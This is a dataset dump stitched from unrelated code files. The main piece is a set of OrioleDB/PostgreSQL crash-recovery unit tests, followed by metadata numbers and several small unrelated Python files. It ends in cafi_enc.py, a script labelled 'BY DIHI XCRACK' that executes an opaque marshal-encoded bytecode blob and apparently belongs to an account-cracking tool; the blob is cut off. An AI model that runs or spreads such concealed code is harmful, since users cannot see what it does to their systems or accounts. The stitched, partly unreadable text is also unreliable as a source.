500; node.safe_psql('postgres', "INSERT INTO o_test VALUES(0, '%s');" % (initial)) node.safe_psql('postgres', "INSERT INTO o_test VALUES(1, '%s');" % (initial)) node.safe_psql('postgres', "CHECKPOINT;") node.safe_psql('postgres', "UPDATE o_test SET val = '%s' WHERE id = 1;" % (updated)) node.safe_psql('postgres', "INSERT INTO o_test VALUES(2, '%s');" % (inserted)) node.safe_psql('postgres', "INSERT INTO o_test VALUES(3, '%s');" % (inserted)) node.safe_psql('postgres', "DELETE FROM o_test WHERE id = 3;") node.stop(['-m', 'immediate']) node.start(); # start PostgreSQL self.assertEqual( node.execute('postgres', 'SELECT * FROM o_test WHERE id = 0;')[0][1], initial); self.assertEqual( node.execute('postgres', 'SELECT * FROM o_test WHERE id = 0;')[0][1], initial); self.assertEqual( node.execute('postgres', 'SELECT * FROM o_test WHERE id = 1;')[0][1], updated); self.assertEqual( node.execute('postgres', 'SELECT * FROM o_test WHERE id = 2;')[0][1], inserted); # value with id = 3 was INSERT then DELETE self.assertEqual( len(node.execute('postgres', 'SELECT * FROM o_test WHERE id = 3;')), 0); # only three values in the table self.assertEqual(len(node.execute('postgres', 'SELECT * FROM o_test;')), 3); node.stop(); # stop PostgreSQL def test_compression_subtrans(self): node = self.node self.maxDiff = None node.start() # start PostgreSQL initial = 'x' * 500 update_before_savepoint = 'y' * 500 tmp1 = 'z' * 400 tmp2 = 'a' * 300 tmp3 = 'q' * 500 update_after_rollback = 'l' * 350 insert_after_rollback = 'p' * 400 node.safe_psql('postgres', "CREATE EXTENSION IF NOT EXISTS orioledb;\n" "CREATE TABLE IF NOT EXISTS o_test (\n" " id integer NOT NULL,\n" " val text\n" ") USING orioledb;\n" "INSERT INTO o_test\n" " (SELECT id, id || '%s' FROM generate_series(1, 500, 1) id);\n" % (initial) ) con1 = node.connect() con1.begin() con1.execute("UPDATE o_test SET val = '%s' WHERE id = 1;" % (update_before_savepoint)) con1.execute("SAVEPOINT s1;") con1.execute("UPDATE o_test SET val = '%s' WHERE id = 2;" % (tmp1)) con1.execute("DELETE FROM o_test WHERE id = 500;") con1.execute("INSERT INTO o_test VALUES (501, '%s');" % (tmp2)) node.safe_psql('postgres', 'CHECKPOINT;') con1.execute("UPDATE o_test SET val = '%s' WHERE id = 3;" % (tmp3)) con1.execute("ROLLBACK TO SAVEPOINT s1;") con1.execute("UPDATE o_test SET val = '%s' WHERE id = 4;" % (update_after_rollback)) con1.execute("DELETE FROM o_test WHERE id = 499;") con1.execute("INSERT INTO o_test VALUES (502, '%s');" % (insert_after_rollback)) con1.commit() con1.close() node.stop(['-m', 'immediate']) node.start() # start PostgreSQL self.assertEqual( str(node.execute('postgres', 'SELECT * FROM o_test WHERE id BETWEEN 1 and 4;')), "[(1, '%s'), (2, '%s'), (3, '%s'), (4, '%s')]" % (update_before_savepoint, '2' + initial, '3' + initial, update_after_rollback)) self.assertEqual( str(node.execute('postgres', 'SELECT * FROM o_test WHERE id BETWEEN 499 and 502;')), "[(500, '%s'), (502, '%s')]" % ( '500' + initial, insert_after_rollback)) node.stop() # stop PostgreSQL def test_wal_toast_simple(self): node = self.node node.start() # start PostgreSQL node.safe_psql('postgres', "CREATE EXTENSION IF NOT EXISTS orioledb;\n" "CREATE TABLE IF NOT EXISTS o_test (\n" " id integer NOT NULL,\n" " val text\n" ") USING orioledb;\n" ) random.seed(0) initial = generate_string(20000) updated = generate_string(30000) inserted = generate_string(20000) node.safe_psql('postgres', "INSERT INTO o_test VALUES(0, '%s');" % (initial)) node.safe_psql('postgres', "INSERT INTO o_test VALUES(1, '%s');" % (initial)) node.safe_psql('postgres', "CHECKPOINT;") node.safe_psql('postgres', "UPDATE o_test SET val = '%s' WHERE id = 1;" % (updated)) node.safe_psql('postgres', "INSERT INTO o_test VALUES(2, '%s');" % (inserted)) node.safe_psql('postgres', "INSERT INTO o_test VALUES(3, '%s');" % (inserted)) node.safe_psql('postgres', "DELETE FROM o_test WHERE id = 3;") node.stop(['-m', 'immediate']) node.start(); # start PostgreSQL self.assertEqual( node.execute('postgres', 'SELECT * FROM o_test WHERE id = 0;')[0][1], initial) self.assertEqual( node.execute('postgres', 'SELECT * FROM o_test WHERE id = 1;')[0][1], updated) self.assertEqual( node.execute('postgres', 'SELECT * FROM o_test WHERE id = 2;')[0][1], inserted) # value with id = 3 was INSERT then DELETE self.assertEqual( len(node.execute('postgres', 'SELECT * FROM o_test WHERE id = 3;')), 0) # only three values in the table self.assertEqual(len(node.execute('postgres', 'SELECT * FROM o_test;')), 3) node.stop(); # stop PostgreSQL def test_toast_subtrans(self): node = self.node self.maxDiff = None node.start() # start PostgreSQL random.seed(0) initial = generate_string(10000) update_before_savepoint = generate_string(10001) tmp1 = generate_string(8000) tmp2 = generate_string(7000) tmp3 = generate_string(5000) update_after_rollback = generate_string(7000) insert_after_rollback = generate_string(9000) node.safe_psql('postgres', "CREATE EXTENSION IF NOT EXISTS orioledb;\n" "CREATE TABLE IF NOT EXISTS o_test (\n" " id integer NOT NULL,\n" " val text\n" ") USING orioledb;\n" "INSERT INTO o_test\n" " (SELECT id, id || '%s' FROM generate_series(1, 500, 1) id);\n" % (initial) ) con1 = node.connect() con1.begin() con1.execute("UPDATE o_test SET val = '%s' WHERE id = 1;" % (update_before_savepoint)) con1.execute("SAVEPOINT s1;") con1.execute("UPDATE o_test SET val = '%s' WHERE id = 2;" % (tmp1)) con1.execute("DELETE FROM o_test WHERE id = 500;") con1.execute("INSERT INTO o_test VALUES (501, '%s');" % (tmp2)) node.safe_psql('postgres', 'CHECKPOINT;') con1.execute("UPDATE o_test SET val = '%s' WHERE id = 3;" % (tmp3)) con1.execute("ROLLBACK TO SAVEPOINT s1;") con1.execute("UPDATE o_test SET val = '%s' WHERE id = 4;" % (update_after_rollback)) con1.execute("DELETE FROM o_test WHERE id = 499;") con1.execute("INSERT INTO o_test VALUES (502, '%s');" % (insert_after_rollback)) con1.commit() con1.close() node.stop(['-m', 'immediate']) node.start() # start PostgreSQL self.assertEqual( str(node.execute('postgres', 'SELECT * FROM o_test WHERE id BETWEEN 1 and 4;')), "[(1, '%s'), (2, '%s'), (3, '%s'), (4, '%s')]" % (update_before_savepoint, '2' + initial, '3' + initial, update_after_rollback)) self.assertEqual( str(node.execute('postgres', 'SELECT * FROM o_test WHERE id BETWEEN 499 and 502;')), "[(500, '%s'), (502, '%s')]" % ( '500' + initial, insert_after_rollback)) node.stop() # stop PostgreSQL def number_to_ctid(self, num): return '(%s,%s)' % (str(num // 2047), str(num % 2047)) def test_ctid_index(self): node = self.node node.start() # start PostgreSQL # insert 1..10000 before a checkpoint node.safe_psql('postgres', "CREATE EXTENSION IF NOT EXISTS orioledb;\n" "CREATE TABLE IF NOT EXISTS o_test (\n" " id integer NOT NULL,\n" " val text\n" ") USING orioledb;\n" "INSERT INTO o_test\n" " (SELECT id, id || 'val' FROM generate_series(1, 10000, 1) id);\n" ) node.safe_psql('postgres', "CHECKPOINT;") # insert 10001..20000 after the checkpoint node.safe_psql("INSERT INTO o_test\n" " (SELECT id, id || 'val' FROM generate_series(%d, %d, 1) id);" % (10001, 20000)) node.stop(['-m', 'immediate']) node.start() # insert 20001..70000 after recovery node.safe_psql("INSERT INTO o_test\n" " (SELECT id, id || 'val' FROM generate_series(20001, 70000, 1) id);") self.assertEqual(node.execute('postgres', "SELECT count(*) FROM o_test;")[0][0], 70000) self.assertEqual(node.execute('postgres', "SELECT ctid FROM o_test WHERE id = 30000;")[0][0], self.number_to_ctid(30000)) self.assertEqual(node.execute('postgres', "SELECT ctid FROM o_test WHERE id = 70000;")[0][0], self.number_to_ctid(70000)) # makes a new checkpoint node.stop() node.start() # insert 70001..80000 after the second checkpoint (1..70000 should be restored on startup) node.safe_psql("INSERT INTO o_test\n" " (SELECT id, id || 'val' FROM generate_series(70001, 80000, 1) id);") self.assertEqual(node.execute('postgres', "SELECT count(*) FROM o_test;")[0][0], 80000) self.assertEqual(node.execute('postgres', "SELECT ctid FROM o_test WHERE id = 30000;")[0][0], self.number_to_ctid(30000)) self.assertEqual(node.execute('postgres', "SELECT ctid FROM o_test WHERE id = 70000;")[0][0], self.number_to_ctid(70000)) self.assertEqual(node.execute('postgres', "SELECT ctid FROM o_test WHERE id = 80000;")[0][0], self.number_to_ctid(80000)) node.stop() def test_wal_only_commit_or_rollback_container(self): node = self.node node.append_conf('postgresql.conf', "shared_preload_libraries = orioledb\n") node.start() node.safe_psql('postgres', "CREATE EXTENSION IF NOT EXISTS orioledb;\n" "CREATE TABLE IF NOT EXISTS o_test (\n" " id integer NOT NULL\n" ") USING orioledb;\n" ) con1 = node.connect() con1.begin() con1.execute('INSERT INTO o_test VALUES (1);') con1.commit() con2 = node.connect() con2.begin() con2.execute("TRUNCATE o_test;") # TRUNCATE does not create a WAL record con2.commit() con1.close() con2.close() node.stop(['-m', 'immediate']) node.start() node.execute("CHECKPOINT;") node.stop(['-m', 'immediate']) node.start() con1 = node.connect() con1.begin() con1.execute('INSERT INTO o_test VALUES (2);') con1.commit() con2 = node.connect() con2.begin() con2.execute("TRUNCATE o_test;") con2.rollback() con1.close() con2.close() node.stop(['-m', 'immediate']) node.start() node.stop() def test_wal_overflow_on_invalidate(self): node = self.node node.append_conf('postgresql.conf', """ orioledb.debug_disable_bgwriter = true """) node.start() node.safe_psql(""" CREATE EXTENSION IF NOT EXISTS orioledb; """) node.safe_psql(""" CREATE TABLE IF NOT EXISTS o_test ( key integer NOT NULL, val integer NOT NULL, PRIMARY KEY(key) ) USING orioledb; """) with node.connect() as con1: with node.connect() as con2: con1.begin() con1.execute(""" ALTER TABLE o_test ADD COLUMN val_2 integer NOT NULL; INSERT INTO o_test (key, val, val_2) (SELECT val, val * 100, val + 100 FROM generate_series(1, 223) val); ALTER TABLE o_test DROP COLUMN val_2; """) con2.execute(""" CHECKPOINT; """) con1.commit() con2.commit() node.stop(['-m', 'immediate']) node.start() node.stop() def test_tup_key_hash_with_nulls(self): node = self.node node.append_conf('postgresql.conf', "shared_preload_libraries = orioledb\n") node.start() node.safe_psql('postgres', "CREATE EXTENSION IF NOT EXISTS orioledb;\n" "CREATE TABLE IF NOT EXISTS o_test (\n" " id1 integer NOT NULL,\n" " id2 integer,\n" " id3 integer,\n" " PRIMARY KEY (id1)" ") USING orioledb;\n" "CREATE UNIQUE INDEX o_test_ix1 ON o_test (id2);" "CREATE UNIQUE INDEX o_test_ix2 ON o_test (id3);" ) node.execute("INSERT INTO o_test VALUES (1, NULL, 3);") node.execute("INSERT INTO o_test VALUES (2, 4, NULL);") node.stop(['-m', 'immediate']) node.start() self.assertEqual(2, node.execute("SELECT COUNT(*) FROM o_test;")[0][0]) node.stop() def test_recovery_rename_index(self): node = self.node node.start() node.safe_psql('postgres', """ CREATE EXTENSION IF NOT EXISTS orioledb; CREATE TABLE IF NOT EXISTS o_test ( key bigint NOT NULL, val int, val2 int NOT NULL, PRIMARY KEY (key) ) USING orioledb; CREATE INDEX o_test_idx1 ON o_test (val); INSERT INTO o_test SELECT 1000 + i, 3000 + i, 3000 + i FROM generate_series(1, 500) AS i;""") node.safe_psql('postgres', "CREATE INDEX o_test_idx2 ON o_test (val2);") node.safe_psql('postgres', """ BEGIN; ALTER INDEX o_test_idx2 RENAME TO o_test_idx2_renamed; ROLLBACK;""") node.stop(['-m', 'immediate']) node.start() self.assertEqual(500, node.execute( "SELECT COUNT(val2) FROM o_test WHERE val2 > 0;" )[0][0]) explain = node.safe_psql(""" SET enable_seqscan = off; EXPLAIN SELECT val2 FROM o_test WHERE val2 > 0 ORDER BY val2;""").decode('utf-8') self.assertNotEqual(explain.find('o_test_idx2'), -1) node.stop() def test_missingattr_recovery(self): node = self.node node.start() with node.connect('postgres') as con1: with node.connect('postgres') as con2: node.safe_psql(""" CREATE EXTENSION IF NOT EXISTS orioledb; CREATE TABLE o_test_missingattr ( key int NOT NULL, val int NOT NULL DEFAULT 5 ) USING orioledb; INSERT INTO o_test_missingattr SELECT id FROM generate_series(1, 10) id; """) con1.execute("""ALTER TABLE o_test_missingattr ADD COLUMN val3 int NOT NULL DEFAULT 18;""") con1.execute("""ALTER TABLE o_test_missingattr ADD COLUMN val4 text DEFAULT 'abc';""") con1.commit() self.assertEqual((1, 5, 18, 'abc'), con1.execute("""SELECT key, val, val3, val4 FROM o_test_missingattr WHERE key = 1;""" )[0]) self.assertEqual((1, 5, 18, 'abc'), con2.execute("""SELECT key, val, val3, val4 FROM o_test_missingattr WHERE key = 1;""" )[0]) con1.execute("""UPDATE o_test_missingattr SET val3 = 33 WHERE key BETWEEN 6 AND 8;""") con1.commit() node.stop(['-m', 'immediate']) node.start() self.assertEqual((6, 5, 33, 'abc'), node.execute('postgres', """ SELECT key, val, val3, val4 FROM o_test_missingattr WHERE key = 6;""")[0]) def test_recovery_partial_index(self): node = self.node node.append_conf('postgresql.conf', "shared_preload_libraries = orioledb\n") node.start() node.safe_psql('postgres', """ CREATE EXTENSION IF NOT EXISTS orioledb; CREATE TABLE IF NOT EXISTS o_test ( key int8 NOT NULL PRIMARY KEY, value text ) USING orioledb; CREATE INDEX o_test_ix_partial ON o_test (key, value) WHERE key > 10; """) node.execute("""INSERT INTO o_test (SELECT id, id || 'text' FROM generate_series(1, 20) as id);""") node.execute("""UPDATE o_test SET value = 'UPD' WHERE key IN (5, 15)""") node.execute("""DELETE FROM o_test WHERE key IN (5, 16)""") self.assertEqual(9, node.execute( "SELECT COUNT(*) FROM o_test WHERE key > 10;" )[0][0]) node.stop(['-m', 'immediate']) node.start() self.assertEqual((11, 2), node.execute("""SELECT * FROM orioledb_index_rows( 'o_test_ix_partial'::regclass);""")[0]) self.assertEqual('UPD', node.execute("""SELECT value FROM o_test WHERE key = 15 ORDER BY key""")[0][0]) node.stop() def test_recovery_expression_index(self): node = self.node node.append_conf('postgresql.conf', "shared_preload_libraries = orioledb\n") node.start() node.safe_psql('postgres', """ CREATE EXTENSION IF NOT EXISTS orioledb; CREATE TABLE IF NOT EXISTS o_test ( key int8 NOT NULL PRIMARY KEY, value text ) USING orioledb; CREATE INDEX o_test_ix_expression ON o_test ((key * 100), (value || 'WOW')); """) node.execute("""INSERT INTO o_test (SELECT id, id || 'text' FROM generate_series(1, 10) as id);""") node.stop(['-m', 'immediate']) node.start() self.assertEqual(6, node.execute(""" WITH o_test_cte AS ( SELECT * FROM o_test WHERE (key * 100) BETWEEN 300 AND 800 ) SELECT COUNT(*) FROM o_test_cte; """)[0][0]) node.stop() def test_checkpoint_concurrent_no_wal_undo(self): node = self.node node.append_conf('postgresql.conf', "orioledb.enable_stopevents = true\n") node.start() node.safe_psql('postgres', "CREATE EXTENSION IF NOT EXISTS orioledb;\n" "CREATE TABLE IF NOT EXISTS o_test (\n" " id integer NOT NULL,\n" " val text,\n" " PRIMARY KEY (id)\n" ") USING orioledb;\n") node.safe_psql("INSERT INTO o_test\n" "(SELECT id, id || 'val' FROM generate_series(1, 100, 1) id);\n") con1 = node.connect() con2 = node.connect() con1.begin() con1.execute("SELECT pg_stopevent_set('checkpoint_index_start', '$.treeName == \"o_test_pkey\"');") t1 = ThreadQueryExecutor(con2, "CHECKPOINT;") t1.start() wait_checkpointer_stopevent(node) con1.execute("INSERT INTO o_test VALUES(101, 'abcdef');") con1.execute("SELECT pg_stopevent_reset('checkpoint_index_start');"); t1.join() con1.close() con2.close() node.stop(['-m', 'immediate']) node.start() self.assertEqual( node.execute('postgres', 'SELECT count(*) FROM o_test')[0][0], 100) node.stop() def test_checkpoint_concurrent_no_wal_undo_secondary(self): node = self.node node.append_conf('postgresql.conf', "orioledb.enable_stopevents = true\n") node.start() node.safe_psql('postgres', "CREATE EXTENSION IF NOT EXISTS orioledb;\n" "CREATE TABLE IF NOT EXISTS o_test (\n" " id integer NOT NULL,\n" " val text,\n" " PRIMARY KEY (id)\n" ") USING orioledb;\n" "CREATE INDEX o_test_val_idx ON o_test(val);\n") node.safe_psql("INSERT INTO o_test\n" "(SELECT id, 'val' || id FROM generate_series(1, 100, 1) id);\n") con1 = node.connect() con2 = node.connect() con1.begin() con1.execute("SELECT pg_stopevent_set('checkpoint_index_start', '$.treeName == \"o_test_val_idx\"');") t1 = ThreadQueryExecutor(con2, "CHECKPOINT;") t1.start() wait_checkpointer_stopevent(node) con1.execute("INSERT INTO o_test VALUES(101, 'abcdef');") con1.execute("SELECT pg_stopevent_reset('checkpoint_index_start');"); t1.join() con1.close() con2.close() node.stop(['-m', 'immediate']) node.start() self.assertEqual( node.execute('postgres', "SELECT count(*) FROM o_test WHERE val = 'abcdef';")[0][0], 0) node.stop() def test_apply_branches(self): node = self.node node.append_conf('postgresql.conf', "orioledb.enable_stopevents = true\n") node.start() node.safe_psql('postgres', "CREATE EXTENSION IF NOT EXISTS orioledb;\n" "CREATE TABLE IF NOT EXISTS o_test (\n" " id integer NOT NULL,\n" " val integer,\n" " PRIMARY KEY (id)\n" ") USING orioledb;\n" "CREATE TABLE IF NOT EXISTS o_test2 (\n" " id integer NOT NULL,\n" " val integer,\n" " PRIMARY KEY (id)\n" ") USING orioledb;\n" "CREATE UNIQUE INDEX o_test_val_idx ON o_test(val);\n") node.safe_psql("INSERT INTO o_test\n" "(SELECT id, id FROM generate_series(1, 100, 1) id);\n") con1 = node.connect() con2 = node.connect() con3 = node.connect() con2_pid = con2.pid con3_pid = con3.pid con1.execute("SELECT pg_stopevent_set('index_insert', 'true');") con1.execute("SELECT pg_stopevent_set('checkpoint_index_start', '$.treeName == \"o_test2_pkey\"');") con2.begin() con2.execute("SET orioledb.debug_slot_number = 1;") t1 = ThreadQueryExecutor(con2, "INSERT INTO o_test VALUES (101, 1) ON CONFLICT DO NOTHING;") t1.start() wait_stopevent(node, con2_pid) t2 = ThreadQueryExecutor(con3, "CHECKPOINT;") t2.start() wait_checkpointer_stopevent(node) con1.execute("SELECT pg_stopevent_reset('index_insert');") t1.join() con1.execute("SELECT pg_stopevent_reset('checkpoint_index_start');") t2.join() con1.close() con2.close() con3.close() node.stop(['-m', 'immediate']) node.start() self.assertEqual( node.execute('postgres', "SELECT count(*) FROM o_test;")[0][0], 100) node.stop() def test_recovery_subtrans_concurrent(self): node = self.node node.start() node.safe_psql('postgres', "CREATE EXTENSION IF NOT EXISTS orioledb;\n" "CREATE TABLE IF NOT EXISTS o_test (\n" " id integer NOT NULL,\n" " val text,\n" " PRIMARY KEY (id)\n" ") USING orioledb;\n") node.safe_psql("INSERT INTO o_test\n" "(SELECT id, 'val' || id FROM generate_series(1, 2, 1) id);\n") con1 = node.connect() con2 = node.connect() con1.begin() con1.execute("UPDATE o_test SET val = val || 'aaa' WHERE id = 1;") con1.execute("SAVEPOINT s1;") con1.execute("UPDATE o_test SET val = val || 'aaa' WHERE id = 2;") con1.execute("ROLLBACK TO SAVEPOINT s1;") con2.begin() con2.execute("UPDATE o_test SET val = val || 'bbb' WHERE id = 2;") con2.commit() con1.commit() self.assertEqual("[(1, 'val1aaa'), (2, 'val2bbb')]", str(node.execute("SELECT * FROM o_test;"))) con1.close() con2.close() node.stop(['-m', 'immediate']) node.start() self.assertEqual("[(1, 'val1aaa'), (2, 'val2bbb')]", str(node.execute("SELECT * FROM o_test;"))) node.stop()

34.270386

139

0.647234

6,985

47,910

4.313958

0.047817

0.056748

0.03614

0.047124

0.891813

0.873693

0.845883

0.819467

0.793416

0.771646

0

0.047523

0.190106

47,910

1,397

140

34.294918

0.72906

0.021457

0

0.74225

0

0.031887

0.494169

0.035143

0

0.087688

1

0.034544

false

0

0.008857

0.000886

0.045173

0

null

0

1

0

1

0

null

0

7

650a11050b15e51fc929a74fa26e9414665f11b9

91

py

Python

gym-nav/gym_nav/envs/__init__.py

tianyudwang/adversarial_imitation_learning

1d5b0ce16cf6453ed29650b6ef565664d6742680

[ "MIT" ]

1

2021-10-05T00:51:30.000Z

gym-nav/gym_nav/envs/__init__.py

yifanwu2828/Adversarial-imitation-learning

8c0049ab75fd63ce600542d95fc392e9de2f5d50

[ "MIT" ]

null

gym-nav/gym_nav/envs/__init__.py

yifanwu2828/Adversarial-imitation-learning

8c0049ab75fd63ce600542d95fc392e9de2f5d50

[ "MIT" ]

null

from gym_nav.envs.nav_env import NavEnv from gym_nav.envs.multi_nav_env import MultiNavEnv

30.333333

50

0.868132

17

91

4.352941

0.529412

0.189189

0.27027

0.378378

0

0.087912

91

2

51

45.5

0.891566

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

1

0

7

e8f662b91f4f8394085be50acf1c746306c81e4c

191

py

Python

airtech_api/utils/error_messages/__init__.py

chidioguejiofor/airtech-api

45d77da0cc4230dd3cb7ab4cbb5168a9239850f5

[ "MIT" ]

1

2019-04-04T12:27:55.000Z

airtech_api/utils/error_messages/__init__.py

chidioguejiofor/airtech-api

45d77da0cc4230dd3cb7ab4cbb5168a9239850f5

[ "MIT" ]

34

2019-03-26T11:18:17.000Z

2022-02-10T08:12:36.000Z

airtech_api/utils/error_messages/__init__.py

chidioguejiofor/airtech-api

45d77da0cc4230dd3cb7ab4cbb5168a9239850f5

[ "MIT" ]

null

from .serialization_errors import msg_dict as serialization_errors from .not_found_errors import msg_dict as not_found_errors from .tokenization_errors import msg_dict as tokenization_errors

47.75

66

0.890052

29

191

5.482759

0.344828

0.226415

0.283019

0.358491

0.396226

0

0.094241

191

3

67

63.666667

0.919075

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

8

335c0677e18646d703f3c5e12617597f432aea74

645

py

Python

bert/test.py

EMBEDDIA/Extending-Neural-Keyword-Extraction-with-TF-IDF-tagset-matching

d52b9b9e1fb9130239479b1830b0930161672325

[ "MIT" ]

2

2021-04-19T23:57:58.000Z

2021-11-02T08:40:16.000Z

bert/test.py

EMBEDDIA/Extending-Neural-Keyword-Extraction-with-TF-IDF-tagset-matching

d52b9b9e1fb9130239479b1830b0930161672325

[ "MIT" ]

1

2021-11-22T09:05:10.000Z

bert/test.py

bkolosk1/Extending-Neural-Keyword-Extraction-with-TF-IDF-tagset-matching

d52b9b9e1fb9130239479b1830b0930161672325

[ "MIT" ]

null

print(len('976958456105251320823111285823113811154183470397695845610133246380173527381232858231138111543741227192506233251167553724598801735278711738102561010458968542055325163341540265559194915354203914742216016054000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'))

322.5

644

0.989147

3

645

212.666667

1

0

0.978261

0.00155

645

1

645

0.012422

0

0.976744

0

1

0

1

0

true

0

1

0

1

null

0

1

0

1

0

1

0

1

null

1

0

1

0

1

0

11

3372fb04519b44b329d6f279060b6e27de21b9c0

91,324

py

Python

cafi_enc.py

OPDIHI/cafi

4eeff00c05a74b8d90a298906c73fbfadec27664

[ "MIT" ]

2

2022-03-18T10:47:55.000Z

2022-03-19T03:15:23.000Z

cafi_enc.py

OPDIHI/cafi

4eeff00c05a74b8d90a298906c73fbfadec27664

[ "MIT" ]

null

cafi_enc.py

OPDIHI/cafi

4eeff00c05a74b8d90a298906c73fbfadec27664

[ "MIT" ]

null

# CODING UTF:8 # BY DIHI XCRACK # AUTHOR (1) KHAMDIHI import marshal exec(marshal.loads('c\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00@\x00\x00\x00s\xd2\x04\x00\x00d\x00\x00Z\x00\x00d\x01\x00Z\x01\x00d\x02\x00Z\x02\x00d\x03\x00Z\x03\x00d\x04\x00Z\x04\x00d\x05\x00Z\x05\x00d\x06\x00Z\x06\x00d\x07\x00e\x05\x00e\x00\x00f\x02\x00\x16Z\x07\x00d\x08\x00d\t\x00l\x08\x00Z\x08\x00y\x10\x00d\x08\x00d\t\x00l\t\x00Z\t\x00Wn\x1e\x00\x04e\n\x00k\n\x00rv\x00\x01\x01\x01e\x08\x00j\x0b\x00d\n\x00\x83\x01\x00\x01n\x01\x00Xy\x10\x00d\x08\x00d\t\x00l\x0c\x00Z\r\x00Wn\x1e\x00\x04e\n\x00k\n\x00r\xa7\x00\x01\x01\x01e\x08\x00j\x0b\x00d\x0b\x00\x83\x01\x00\x01n\x01\x00Xy\x10\x00d\x08\x00d\t\x00l\x0e\x00Z\x0e\x00Wn\x1e\x00\x04e\n\x00k\n\x00r\xd8\x00\x01\x01\x01e\x08\x00j\x0b\x00d\x0c\x00\x83\x01\x00\x01n\x01\x00Xd\x08\x00d\t\x00l\t\x00Z\t\x00d\x08\x00d\t\x00l\x08\x00Z\x08\x00d\x08\x00d\t\x00l\x0f\x00Z\x0f\x00d\x08\x00d\t\x00l\x0e\x00Z\x0e\x00d\x08\x00d\t\x00l\x10\x00Z\x10\x00d\x08\x00d\t\x00l\x11\x00Z\x11\x00d\x08\x00d\t\x00l\x12\x00Z\x12\x00d\x08\x00d\t\x00l\x13\x00Z\x13\x00d\x08\x00d\t\x00l\x14\x00Z\x14\x00d\x08\x00d\t\x00l\x15\x00Z\x15\x00d\x08\x00d\t\x00l\x16\x00Z\x16\x00d\x08\x00d\t\x00l\x17\x00Z\x17\x00d\x08\x00d\r\x00l\x0c\x00m\x18\x00Z\x18\x00\x01d\x08\x00d\x0e\x00l\x0e\x00m\x19\x00Z\x1a\x00\x01d\x08\x00d\x0f\x00l\x12\x00m\x1b\x00Z\x1c\x00\x01d\x08\x00d\x10\x00l\x14\x00m\x14\x00Z\x14\x00\x01d\x11\x00\x84\x00\x00Z\x1d\x00e\x1e\x00e\x1d\x00j\x1f\x00\x83\x01\x00Z \x00e \x00d\x12\x00d\x12\x00d\x13\x00d\x14\x00d\x15\x00d\x16\x00d\x17\x00d\x18\x00d\x19\x00e!\x00f\x05\x00d\x1a\x00d\x1b\x00d\x1c\x00d\x1d\x00d\x1e\x00d\x1f\x00d \x00f\x07\x00f\x00\x00d!\x00d"\x00d#\x00d$\x00f\x00\x00f\x00\x00\x83\x0e\x00e\x1d\x00_\x1f\x00e\x1d\x00\x83\x00\x00\x01g\x00\x00g\x00\x00g\x00\x00g\x00\x00g\x00\x00g\x00\x00g\x00\x00g\x00\x00d\x12\x00d#\x00f\n\x00\\\n\x00Z"\x00Z#\x00Z$\x00Z%\x00a&\x00a\'\x00Z(\x00Z"\x00a)\x00a*\x00d%\x00\x84\x00\x00Z+\x00d&\x00\x84\x00\x00Z,\x00d\'\x00\x84\x00\x00Z-\x00d(\x00\x84\x00\x00Z.\x00e\t\x00j/\x00d)\x00\x83\x01\x00j0\x00Z1\x00d*\x00\x84\x00\x00Z2\x00i\x08\x00e3\x00e\x13\x00j4\x00d+\x00d,\x00\x83\x02\x00\x83\x01\x00d-\x006e3\x00e\x13\x00j4\x00d.\x00d/\x00\x83\x02\x00\x83\x01\x00d0\x006e3\x00e\x13\x00j4\x00d.\x00d/\x00\x83\x02\x00\x83\x01\x00d1\x006d2\x00d3\x006d4\x00d5\x006d6\x00d7\x006d8\x00d9\x006d:\x00d;\x006Z5\x00d<\x00\x84\x00\x00Z6\x00e3\x00e\x14\x00j7\x00\x83\x00\x00j8\x00d=\x00\x83\x01\x00\x83\x01\x00Z9\x00e:\x00j;\x00Z<\x00e:\x00j=\x00Z>\x00e:\x00j?\x00Z@\x00d>\x00\x84\x00\x00ZA\x00d?\x00\x84\x00\x00ZB\x00d@\x00\x84\x00\x00ZC\x00dA\x00\x84\x00\x00ZD\x00dB\x00\x84\x00\x00ZE\x00dC\x00\x84\x00\x00ZF\x00dD\x00\x84\x00\x00ZG\x00dE\x00f\x00\x00dF\x00\x84\x00\x00\x83\x00\x00YZH\x00dG\x00\x84\x00\x00ZI\x00e!\x00\x01e5\x00dH\x00\x84\x01\x00ZJ\x00e5\x00dI\x00\x84\x01\x00ZK\x00e5\x00dJ\x00\x84\x01\x00ZL\x00dK\x00\x84\x00\x00ZM\x00dL\x00\x84\x00\x00Z\x1d\x00e\x1e\x00e\x1d\x00j\x1f\x00\x83\x01\x00Z \x00e \x00d\x12\x00d\x12\x00d\x13\x00d\x14\x00d\x15\x00d\x16\x00d\x17\x00d\x18\x00dM\x00e!\x00f\x05\x00d\x1a\x00d\x1b\x00d\x1c\x00d\x1d\x00d\x1e\x00d\x1f\x00d \x00f\x07\x00f\x00\x00d!\x00d"\x00d#\x00d$\x00f\x00\x00f\x00\x00\x83\x0e\x00e\x1d\x00_\x1f\x00e\x1d\x00\x83\x00\x00\x01eN\x00dN\x00k\x02\x00r\xce\x04e\x08\x00j\x0b\x00dO\x00\x83\x01\x00\x01e\x08\x00j\x0b\x00dP\x00\x83\x01\x00\x01e+\x00dQ\x00e\x00\x00e\x04\x00e\x00\x00f\x03\x00\x16\x83\x01\x00\x01e+\x00dR\x00e\x00\x00e\x04\x00e\x00\x00f\x03\x00\x16\x83\x01\x00\x01eO\x00dS\x00e\x00\x00\x16\x83\x01\x00\x01e-\x00\x83\x00\x00\x01eC\x00\x83\x00\x00\x01n\x00\x00d\t\x00S(T\x00\x00\x00s\x07\x00\x00\x00\x1b[0;37ms\x07\x00\x00\x00\x1b[0;31ms\x07\x00\x00\x00\x1b[0;32ms\x07\x00\x00\x00\x1b[0;33ms\x07\x00\x00\x00\x1b[0;34ms\x07\x00\x00\x00\x1b[0;35ms\x07\x00\x00\x00\x1b[0;36msE\x00\x00\x00%s\n \xe2\x80\xa2 Info script :\n - version : 1.1\n - By\t : khamdihi\n%si\xff\xff\xff\xffNs\x15\x00\x00\x00pip2 install requestss\x14\x00\x00\x00pip2 install futuress\x10\x00\x00\x00pip2 install 